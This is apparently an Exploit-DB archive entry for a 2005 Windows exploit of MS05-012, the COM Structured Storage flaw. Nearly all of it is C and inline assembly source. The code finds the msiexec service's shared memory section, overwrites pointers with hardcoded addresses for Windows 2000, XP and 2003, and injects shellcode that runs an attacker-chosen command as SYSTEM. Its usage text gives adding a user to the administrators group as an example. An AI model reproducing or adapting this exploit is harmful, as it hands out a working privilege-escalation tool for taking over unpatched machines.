Microsoft Windows - COM Structured Storage Local (MS05-012)

EDB-ID:

1019




Platform:

Windows

Date:

2005-05-31


// by Cesar Cerrudo - Argeniss - www.argeniss.com
// MS05-012 - COM Structured Storage Vulnerability - CAN-2005-0047 Exploit
//
// More exploits at www.argeniss.com/products.html
//
// Works on Win2k sp4, WinXP sp2, Win2k3 sp0
// Close all runing programs to avoid possible problems
// If it finds the section and it doesn't work remove section permissions 
// from msiexec service process with WinObj or crash the msiexec service and try again 
// if offsets don't work, debug and change them

#include <windows.h>
#include <stdio.h>

typedef struct _LSA_UNICODE_STRING {  
	USHORT Length;  
	USHORT MaximumLength; 
	PWSTR Buffer;
} UNICODE_STRING;

typedef struct _OBJDIR_INFORMATION {
  UNICODE_STRING          ObjectName;
  UNICODE_STRING          ObjectTypeName;
  BYTE                    Data[1];
} OBJDIR_INFORMATION;

typedef struct _OBJECT_ATTRIBUTES {
    ULONG Length;
    HANDLE RootDirectory;
    UNICODE_STRING *ObjectName;
    ULONG Attributes;
    PVOID SecurityDescriptor;        
    PVOID SecurityQualityOfService;  
} OBJECT_ATTRIBUTES;

#define InitializeObjectAttributes( p, n, a, r, s ) { \
    (p)->Length = sizeof( OBJECT_ATTRIBUTES );          \
    (p)->RootDirectory = r;                             \
    (p)->Attributes = a;                                \
    (p)->ObjectName = n;                                \
    (p)->SecurityDescriptor = s;                        \
    (p)->SecurityQualityOfService = NULL;               \
    }

typedef DWORD (WINAPI* MSIINSTALLPRODUCT)(LPCSTR szPackagePath, LPCSTR szCommandLine);
MSIINSTALLPRODUCT MsiInstallProduct;

typedef DWORD (WINAPI* NTQUERYDIRECTORYOBJECT)( HANDLE, OBJDIR_INFORMATION*, DWORD, DWORD ,DWORD,DWORD*,DWORD* );
NTQUERYDIRECTORYOBJECT NtQueryDirectoryObject;

typedef DWORD (WINAPI* NTOPENDIRECTORYOBJECT)( HANDLE *, DWORD,OBJECT_ATTRIBUTES* );
NTOPENDIRECTORYOBJECT  NtOpenDirectoryObject;


DWORD WINAPI  LoadWinInstaller(LPVOID lpParam) 
{ 
	HMODULE hMsi;

	hMsi = LoadLibrary("msi.dll"); 
	MsiInstallProduct = (MSIINSTALLPRODUCT)GetProcAddress(hMsi, "MsiInstallProductA");
  //run unistall , without permissions this makes a windows pop up
  //while this window is showing the shared section is created and available on Windows Installer service process
	MsiInstallProduct((char*)lpParam,"REMOVE=ALL");
  
	return 0; 
} 



int main(int argc, char* argv[])
{

  OBJDIR_INFORMATION *ssinfo  =(OBJDIR_INFORMATION* ) HeapAlloc(GetProcessHeap(), 0, 0x800);

  HANDLE hFile,hThread,hMapFile; 
  HMODULE hNtdll ,hKernel;
  DWORD dwThreadId; 
  OBJECT_ATTRIBUTES obj;
  WCHAR  * uString=L"\\BaseNamedObjects";
  UNICODE_STRING str;
  DWORD i,a,iStrLen,b=0;
  char sObjName[30],sTmp[50];
  LPVOID lpMapAddress;
  FARPROC pWinExec,pExitThread;
  bool bFound;
  char* sCommand;


  if (!argv[1]||!argv[2]) {
	printf("\nUsage :\n	SSExploit \"Applicatoin to uninstall\" \"command\" \n");
	printf("\nExamples :\n  SSExploit \"c:\\windows\\system32\\webfldrs.msi\" \"cmd.exe\" (cmd.exe will interactively run on Win2k only) \n  SSExploit \"c:\\windows\\system32\\webfldrs.msi\" \"net localgroup administrators /add youruser\" \n");
	exit(0);
  }
    
  iStrLen=strlen(argv[2]);

  if(iStrLen>=65){
	printf("\n\"command\" must be less than 65 chars.\n");
	exit(0);
  }

  sCommand=argv[2];

  hThread = CreateThread(NULL,0,LoadWinInstaller,argv[1],0,&dwThreadId); 

  Sleep(3000);

  hNtdll = LoadLibrary("ntdll.dll");    

  NtQueryDirectoryObject = (NTQUERYDIRECTORYOBJECT )GetProcAddress(hNtdll,"NtQueryDirectoryObject");
  NtOpenDirectoryObject = (NTOPENDIRECTORYOBJECT )GetProcAddress(hNtdll,"NtOpenDirectoryObject");
  
  str.Length=wcslen(uString)*2;
  str.MaximumLength =wcslen(uString)*2+2;
  str.Buffer =uString;

  InitializeObjectAttributes (&obj, &str, 0, 0, 00);
  NtOpenDirectoryObject(&hFile,0x20001,&obj);

  printf("\nSearching for Shared Section...\n\n"); 

  // Get all objects names under \BaseNamedObjects

  if (NtQueryDirectoryObject(hFile,ssinfo,0x800,TRUE,TRUE,&b,&a)==0){
	do{ 
		bFound=NULL;
		while (NtQueryDirectoryObject(hFile,ssinfo,0x800,TRUE,FALSE,&b,&a)==0){
		  //check if it's a section name	
			if (!wcscmp(ssinfo->ObjectTypeName.Buffer ,L"Section")){             
				for (i=0;(i<=wcslen(ssinfo->ObjectName.Buffer))&(i<30);i++){
					sObjName[i]=(char)ssinfo->ObjectName.Buffer[i];
				}
		      //check if it's the one we are searching for
				if (!strncmp(sObjName,"DfSharedHeap",12)){      
					bFound=1;
					break;
				}
			}
		}
		if (bFound)
			printf("Shared Section Found: %s\n",sObjName);
		else {
			printf("Shared Section Not Found");
			exit(0);
		}
    
		strcpy(sTmp,"Global\\");
		strcat(sTmp,sObjName);    //append global prefix to support Terminal Services	

		hMapFile = OpenFileMapping(FILE_MAP_WRITE, FALSE,sTmp); 
	
      //the shared section name couldn't be the one we are searching for
		if (hMapFile == NULL) 
			printf("Could not open Shared Section\n\n"); 
		else
			printf("Shared Section opened\n\n"); 
	
	} while (hMapFile == NULL) ;

	lpMapAddress = MapViewOfFile(hMapFile, FILE_MAP_WRITE,0,0,0);
 
	if (lpMapAddress == NULL) { 
		printf("Could not map Shared Section"); 
		exit(0);
	}
	else 
		printf("Shared Section Mapped\n\nOverwriting Pointer and Inyecting Shellcode...\n\n"); 

	hKernel=LoadLibrary("Kernel32.dll");
	
	pWinExec=GetProcAddress(hKernel,"WinExec");
	pExitThread=GetProcAddress(hKernel,"ExitThread");

	_asm{
			
		mov eax,fs:[30h]   // get pointer to PEB 
		mov eax,[eax+0A8h] // get OS minor version
		cmp eax,0x0
		jz W2ksp4
		cmp eax,0x1        
		jz WinXPsp2
		jmp Win2K3   // address of section seems static on same OS version
					
	W2Ksp4:
		mov eax,0x0101FFF0 // address of begining of section - 0x10 used to overwrite pointer
		mov edx,0x01020004 // address of shellcode
		jmp Done
	
	WinXPsp2:
		mov eax,0x0086FFF0 // address of begining of section - 0x10 used to overwrite pointer
		mov edx,0x00870004 // address of shellcode
		jmp Done
	
	Win2K3:
		mov eax,0x007BFFF0 // address of begining of section - 0x10 used to overwrite pointer
		mov edx,0x007C0004 // address of shellcode

	Done:
		mov ebx,lpMapAddress
		mov ecx, 0x1000

	l00p:                  // overwrite section data, so overwriten structures will point to shellcode
		mov dword ptr[ebx],eax 
		sub ecx,0x4
		add ebx,0x4

		cmp ecx,0x0
		jnz l00p

		mov ebx,lpMapAddress  //address of shellcode
		mov dword ptr[ebx],edx                    
		
	//start copying shellcode
    
		lea esi, Shellcode
		lea edi, [ebx+4]
		lea ecx, End
		sub ecx, esi
		push esi
		push edi
		cld
		rep movsb

		pop edi
		pop esi
		push edi
		lea ecx, CommandBuf
		sub ecx, esi
		add edi, ecx
		mov esi, sCommand
		mov ecx, iStrLen
		rep movsb
		mov [edi], 0x00

		pop edi
		mov esi, pWinExec
		mov [edi+0x5], esi

		mov esi, pExitThread
		mov [edi+0x9], esi

	}

	printf("Command should have been executed ;)\n"); 
	CloseHandle(hMapFile);

  }
  else printf("Couldn't get object names \n");	

  return 0;

	_asm{

	Shellcode:
		call getDelta
				// this gets overwrited
		mov ax,0xffff	
		mov ax,0xffff	

	CommandBuf:					// this gets overwrited
		mov dword ptr[eax],0x55555555
		mov dword ptr[eax],0x55555555	
		mov dword ptr[eax],0x55555555	
		mov dword ptr[eax],0x55555555	
		mov dword ptr[eax],0x55555555	
		mov dword ptr[eax],0x55555555	
		mov dword ptr[eax],0x55555555	
		mov dword ptr[eax],0x55555555	
		mov dword ptr[eax],0x55555555	
		mov dword ptr[eax],0x55555555	
		mov dword ptr[eax],0x55555555	

	getDelta:
		pop edx							// Get shellcode/shared section pointer
		push edx						// save edx

		push 0x1						// push 0x0 for hidden window
		lea eax, [edx+0x8]					
		push eax						// Command offset
		call [edx]						// Call WinExec
       
		pop edx
		call [edx+0x4]					// Call ExitThread to avoid msiexec service to crash

	End:
	}
}

// milw0rm.com [2005-05-31]